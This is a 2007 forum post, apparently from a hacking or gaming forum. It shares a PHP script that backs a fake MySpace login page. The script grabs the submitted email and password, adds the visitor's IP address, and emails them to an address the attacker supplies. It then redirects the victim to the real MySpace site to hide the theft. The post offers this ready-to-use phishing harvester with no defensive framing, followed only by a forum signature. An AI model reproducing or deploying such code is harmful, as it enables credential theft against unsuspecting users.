Like this...
[php]<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));
$IP = $_SERVER['REMOTE_ADDR'];
$to = '(PUT YOUR EMAIL HERE!)';
$subject = 'Myspace Login';
$message = "$email - $password - $IP";
$headers = 'From: New Myspace Login' . "\r\n" .
'Reply-To: Login' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';
}
?>[/php]
Last edited by Lethal323; 11-22-2007 at 09:50 AM.
People shouldnt be afraid of there goverment, Goverment should be afraid of there people!
The Pro Gamers Web******